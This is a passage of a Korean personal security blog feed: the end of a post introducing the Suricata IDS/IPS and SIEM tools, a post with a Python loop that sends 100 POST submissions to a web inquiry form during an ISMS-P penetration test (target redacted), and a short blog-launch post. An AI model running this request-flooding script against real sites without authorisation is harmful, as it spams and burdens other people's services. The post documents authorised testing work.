<li>프록시 서버 사용의 다른 목적으로는 로드벨런스 기능이 있다. 한 서비스에 대해 많은 사용자가 집중되는 경우 여러게의 미러서버를 두고 프록시 서버에서 부하를 분산해주는 역할을 한다.</li>
</ul>
</li>
<li>
<p>로그수집</p>
<ul>
<li>보안장비에서 수집된 로그데이터들을 한번에 볼수 있게 수집해주는 장비이다. ELK, Sqlunk 등이 있으며 각 장비에서 수집된 로그를 키워드 별로 바인딩 한 후 데시보드를 통해 원하는 로그를 보여준다.</li>
</ul>
</li>
<li>
<p>SIEM</p>
<ul>
<li>SIEM은 보안정보 이벤트 관리의 약자이다. SIEM장비를 처음 써본건 군에 있을때 이다. 군에서는 부대별로 SIEM장비를 도입하고 군단급 이상 사령부에서는 예하 부대의 국방망, 인터넷망, 전술망에 대한 통합 2차 관제를 수행했다. 필자가 있던 군단급에서는 인터넷 망을 제외한 국방망, 전술망에 대한 관제를 진행할때 Splunk에 있는 SIEM을 주로 사용했다. Splunk는 spl이라는 데이터 질의어를 이용해 공격으로 예상되는 시나리오를 작성하고 이에 대한 로그들을 볼수 있게 해준다.</li>
</ul>
</li>
</ul>
<p>설명이 길었다. 각설하고 이번 포스트의 목적은 오픈소스 IPS, IDS인 수리카타(Suritaca)를 소개하고 다음 포스트에서 수리카타의 기본적인 설치와 모의공격을 테스트 해볼 예정이다.</p>
<p>오픈소스 IPS, IDS로는 Suricata와 Snort이며 Snort는 단일 스레드 기반으로 작동한다. 따라스 그만한 성능저하가 예상되는데 이를 개선하여 나온 Suricata는 다중스레드 기반으로 동작하는 프로그램이다.</p>
<center><img src="/img/suricata/suricata.png" width="50%" height="50%"></center>
<p>수리카타의 공식 홈페이지는 <a href="https://suricata.io/">https://suricata.io/</a> 이다.
위에 접속하면 기본 도큐먼트로 설치와 운용가이드가 나와있다. 이 포스트는 공식 문서를 바탕으로 작성되었다.</p>
<p>수리카타는 패킷 복제 기반인 IDS와 인라인 기반인 IPS를 둘다 지원하는 오픈소스이다.
이러한 오픈소스는 탐지현황 데시보드가 기본적으로 지원되지 않지만, Splunk나 ELK를 통해 데이터 시각화가 가능하다.</p>
<p>필자는 외부로 서버를 장기간 오픈할 일이 있을때 수리카타를 같이 운용하는 편이며 기본적인 네트워크 구성도는 다음과 같다.</p>
<center><img src="/img/suricata/server-layout.png" width="80%" height="80%"></center>
<p>위 그림처럼 Docker를 통해 구성하며 필요에 따라서 프록시 서버를 FW으로 대체할수도, 구성이 바뀔수도 있다.</p>
<p>위 구성으로 한달 좀 넘게 프로젝트 개발용 서버를 운용해본 결과 오탐도 있었지만 많은 종류의 공격이 들어오는걸 볼수 있었다.</p>
<p>공개된지 얼마 안된 취약점이 공격으로 들어오는 경우도 있고, 디렉터리 리스팅, RCE 공격 등 다양한 공격이 탐지되었다. 보통은 외국에서 들어왔고 이중 오탐도 있었지만 직접 로그를 뜯어봤을때 무차별 대입공격도 확인되었다.</p>
<p>외국에서는 봇을 만들어서 무차별적으로 공격을 떄리는 단체가 있다고 하는데 이런 공간에 서버를 그냥 오픈해놨다는게 너무 안일했다는 생각이 든다.</p>
<p>다음 포스트에서는 수리카타를 직접 설치하고 위 구성도 처럼 서버를 구성하는것을 포스팅 할 예정이다.</p>
]]></content:encoded></item><item><title>Python Http POST요청 자동화 코드</title><link>https://dig06161.github.io/2022/01/25/python-automated-http-post/</link><pubDate>Tue, 25 Jan 2022 20:13:00 +0900</pubDate><guid>https://dig06161.github.io/2022/01/25/python-automated-http-post/</guid><description>&lt;p>ISMS-P(정보보호 및 개인정보보호관리체계)인증을 충족하기 위해 웹 모의 해킹을 진행했던 경험이 있습니다. 이 ISMS-P 검사 항목중에 자동화 공격에 대한 진단 항목이 있습니다. 이 항목을 진단할때 python코드를 작성해 반복문으로 POST요청을 다량으로 발생시켜 공격을 시도 했습니다.&lt;/p>
&lt;p>이에 관련된 코드를 올려봅니다.&lt;/p>
&lt;p>단순히 while문으로 반복적인 요청을 보내는 코드입니다.&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-python" data-lang="python">&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">urllib.parse&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="kn">import&lt;/span> &lt;span class="nn">urllib.request&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="k">while&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">a&lt;/span> &lt;span class="o">&amp;lt;=&lt;/span> &lt;span class="mi">100&lt;/span>&lt;span class="p">):&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#웹 POST요청에 대한 파라미터들을 json형식으로 정의해 줍니다.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">details&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urllib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">parse&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urlencode&lt;/span>&lt;span class="p">({&lt;/span>&lt;span class="s1">&amp;#39;mm&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;voc&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;sm&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;ins&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;pg&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;regCd&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;regName&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;Title&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;취약점 점검중&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;WriterName&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;yunjoker&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;Tel1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;123&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;Tel2&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;123&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;Tel3&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;123&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;EmailId&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;123&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s1">&amp;#39;EmailDomain&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;naver.com&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;agree1&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;1&amp;#39;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s1">&amp;#39;Content&amp;#39;&lt;/span>&lt;span class="p">:&lt;/span>&lt;span class="s1">&amp;#39;ㅁㄴㅇㄹ&amp;#39;&lt;/span>&lt;span class="p">})&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#인코딩 유형을 설정합니다&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">details&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">details&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">encode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s1">&amp;#39;UTF-8&amp;#39;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#요청 URL을 추가합니다&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urllib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">Request&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;https://***/common/process/process.inquiry.php&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="n">details&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#Burp Suite 등의 프로그램이나 기능을 이용해 쿠키값들을 그대로 헤더에 추가해 줍니다.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;POST&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;/common/process/process.inquiry.php HTTP/1.1&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Host&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;***&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Connection&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;close&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Content-Length&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;360&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Accept&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;application/json, text/javascript, */*; q=0.01&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;X-Requested-With&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;XMLHttpRequest&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;User-Agent&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="s2">&amp;#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Sec-Fetch-Mode&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;cors&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Content-Type&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;application/x-www-form-urlencoded&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Sec-Fetch-Site&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;same-origin&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Referer&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;***&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Accept-Encoding&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;gzip, deflate&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Accept-Language&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">url&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">add_header&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;Cookie&amp;#34;&lt;/span>&lt;span class="p">,&lt;/span> &lt;span class="s2">&amp;#34;_ga=GA1.2.1167119943.1572314702; _gid=GA1.2.304601219.1572314702; PHPSESSID=n07lta0bu412bcsk0q9jejvoh7; _gat_gtag_UA_74704901_2=1&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#POST요청 후 리스폰스 데이터를 ResponseData 변수에 저장합니다.&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">ResponseData&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">urllib&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">request&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">urlopen&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">url&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">read&lt;/span>&lt;span class="p">()&lt;/span>&lt;span class="o">.&lt;/span>&lt;span class="n">decode&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s2">&amp;#34;utf-8&amp;#34;&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="c1">#리스폰스 데이터를 출력합니다&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="nb">print&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">ResponseData&lt;/span>&lt;span class="p">)&lt;/span>
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">
&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl"> &lt;span class="n">a&lt;/span> &lt;span class="o">=&lt;/span> &lt;span class="n">a&lt;/span>&lt;span class="o">+&lt;/span>&lt;span class="mi">1&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;hr></description><content:encoded><![CDATA[<p>ISMS-P(정보보호 및 개인정보보호관리체계)인증을 충족하기 위해 웹 모의 해킹을 진행했던 경험이 있습니다. 이 ISMS-P 검사 항목중에 자동화 공격에 대한 진단 항목이 있습니다. 이 항목을 진단할때 python코드를 작성해 반복문으로 POST요청을 다량으로 발생시켜 공격을 시도 했습니다.</p>
<p>이에 관련된 코드를 올려봅니다.</p>
<p>단순히 while문으로 반복적인 요청을 보내는 코드입니다.</p>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">urllib.parse</span>
</span></span><span class="line"><span class="cl"><span class="kn">import</span> <span class="nn">urllib.request</span>
</span></span><span class="line"><span class="cl"><span class="n">a</span> <span class="o">=</span> <span class="mi">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="k">while</span><span class="p">(</span><span class="n">a</span> <span class="o">&lt;=</span> <span class="mi">100</span><span class="p">):</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#웹 POST요청에 대한 파라미터들을 json형식으로 정의해 줍니다.</span>
</span></span><span class="line"><span class="cl">    <span class="n">details</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">parse</span><span class="o">.</span><span class="n">urlencode</span><span class="p">({</span><span class="s1">&#39;mm&#39;</span><span class="p">:</span><span class="s1">&#39;voc&#39;</span><span class="p">,</span> <span class="s1">&#39;sm&#39;</span><span class="p">:</span><span class="s1">&#39;ins&#39;</span><span class="p">,</span> <span class="s1">&#39;pg&#39;</span><span class="p">:</span><span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;regCd&#39;</span><span class="p">:</span><span class="s1">&#39;&#39;</span><span class="p">,</span> <span class="s1">&#39;regName&#39;</span><span class="p">:</span><span class="s1">&#39;&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                     <span class="s1">&#39;Title&#39;</span><span class="p">:</span><span class="s1">&#39;취약점 점검중&#39;</span><span class="p">,</span> <span class="s1">&#39;WriterName&#39;</span><span class="p">:</span><span class="s1">&#39;yunjoker&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                     <span class="s1">&#39;Tel1&#39;</span><span class="p">:</span><span class="s1">&#39;123&#39;</span><span class="p">,</span> <span class="s1">&#39;Tel2&#39;</span><span class="p">:</span><span class="s1">&#39;123&#39;</span><span class="p">,</span> <span class="s1">&#39;Tel3&#39;</span><span class="p">:</span><span class="s1">&#39;123&#39;</span><span class="p">,</span> <span class="s1">&#39;EmailId&#39;</span><span class="p">:</span><span class="s1">&#39;123&#39;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                                     <span class="s1">&#39;EmailDomain&#39;</span><span class="p">:</span><span class="s1">&#39;naver.com&#39;</span><span class="p">,</span> <span class="s1">&#39;agree1&#39;</span><span class="p">:</span><span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;Content&#39;</span><span class="p">:</span><span class="s1">&#39;ㅁㄴㅇㄹ&#39;</span><span class="p">})</span>
</span></span><span class="line"><span class="cl">    <span class="c1">#인코딩 유형을 설정합니다</span>
</span></span><span class="line"><span class="cl">    <span class="n">details</span> <span class="o">=</span> <span class="n">details</span><span class="o">.</span><span class="n">encode</span><span class="p">(</span><span class="s1">&#39;UTF-8&#39;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">    <span class="c1">#요청 URL을 추가합니다</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">Request</span><span class="p">(</span><span class="s2">&#34;https://***/common/process/process.inquiry.php&#34;</span><span class="p">,</span> <span class="n">details</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">#Burp Suite 등의 프로그램이나 기능을 이용해 쿠키값들을 그대로 헤더에 추가해 줍니다.</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;POST&#34;</span><span class="p">,</span> <span class="s2">&#34;/common/process/process.inquiry.php HTTP/1.1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Host&#34;</span><span class="p">,</span> <span class="s2">&#34;***&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Connection&#34;</span><span class="p">,</span> <span class="s2">&#34;close&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Content-Length&#34;</span><span class="p">,</span> <span class="s2">&#34;360&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Accept&#34;</span><span class="p">,</span> <span class="s2">&#34;application/json, text/javascript, */*; q=0.01&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;X-Requested-With&#34;</span><span class="p">,</span> <span class="s2">&#34;XMLHttpRequest&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;User-Agent&#34;</span><span class="p">,</span>
</span></span><span class="line"><span class="cl">                   <span class="s2">&#34;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Sec-Fetch-Mode&#34;</span><span class="p">,</span> <span class="s2">&#34;cors&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Content-Type&#34;</span><span class="p">,</span> <span class="s2">&#34;application/x-www-form-urlencoded&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Sec-Fetch-Site&#34;</span><span class="p">,</span> <span class="s2">&#34;same-origin&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Referer&#34;</span><span class="p">,</span> <span class="s2">&#34;***&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Accept-Encoding&#34;</span><span class="p">,</span> <span class="s2">&#34;gzip, deflate&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Accept-Language&#34;</span><span class="p">,</span> <span class="s2">&#34;ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    <span class="n">url</span><span class="o">.</span><span class="n">add_header</span><span class="p">(</span><span class="s2">&#34;Cookie&#34;</span><span class="p">,</span> <span class="s2">&#34;_ga=GA1.2.1167119943.1572314702; _gid=GA1.2.304601219.1572314702; PHPSESSID=n07lta0bu412bcsk0q9jejvoh7; _gat_gtag_UA_74704901_2=1&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">#POST요청 후 리스폰스 데이터를 ResponseData 변수에 저장합니다.</span>
</span></span><span class="line"><span class="cl">    <span class="n">ResponseData</span> <span class="o">=</span> <span class="n">urllib</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">urlopen</span><span class="p">(</span><span class="n">url</span><span class="p">)</span><span class="o">.</span><span class="n">read</span><span class="p">()</span><span class="o">.</span><span class="n">decode</span><span class="p">(</span><span class="s2">&#34;utf-8&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="c1">#리스폰스 데이터를 출력합니다</span>
</span></span><span class="line"><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="n">ResponseData</span><span class="p">)</span>
</span></span><span class="line"><span class="cl">    
</span></span><span class="line"><span class="cl">    <span class="n">a</span> <span class="o">=</span> <span class="n">a</span><span class="o">+</span><span class="mi">1</span>
</span></span></code></pre></div><hr>]]></content:encoded></item><item><title>Git blog 시작</title><link>https://dig06161.github.io/2022/01/23/gitblog-start/</link><pubDate>Sun, 23 Jan 2022 15:20:00 +0900</pubDate><guid>https://dig06161.github.io/2022/01/23/gitblog-start/</guid><description>&lt;hr>
## Git blog 시작
&lt;p>2022년 01월 23일 깃 블로그를 시작 합니다. 앞으로 보안, 도커, 개발, 네트워크 등 개인 공부내용을 포스팅 할 예정입니다.&lt;/p>
&lt;p>2020년도 8월 입대~ 2022년도 1월 전역&lt;/p>
&lt;hr>
&lt;div class="highlight">&lt;pre tabindex="0" class="chroma">&lt;code class="language-java" data-lang="java">&lt;span class="line">&lt;span class="cl">&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w">&lt;/span>&lt;span class="kd">public&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kd">class&lt;/span> &lt;span class="nc">myJava&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="kd">public&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kd">static&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="kt">void&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="nf">main&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="n">String&lt;/span>&lt;span class="o">[]&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="n">args&lt;/span>&lt;span class="p">)&lt;/span>&lt;span class="w"> &lt;/span>&lt;span class="p">{&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="na">out&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="na">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Hello world!&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="n">System&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="na">out&lt;/span>&lt;span class="p">.&lt;/span>&lt;span class="na">println&lt;/span>&lt;span class="p">(&lt;/span>&lt;span class="s">&amp;#34;Hello Git Blog!&amp;#34;&lt;/span>&lt;span class="p">);&lt;/span>&lt;span class="w">
&lt;/span>&lt;/span>&lt;/span>&lt;span class="line">&lt;span class="cl">&lt;span class="w"> &lt;/span>&lt;span class="p">}&lt;/span>&lt;span class="w">
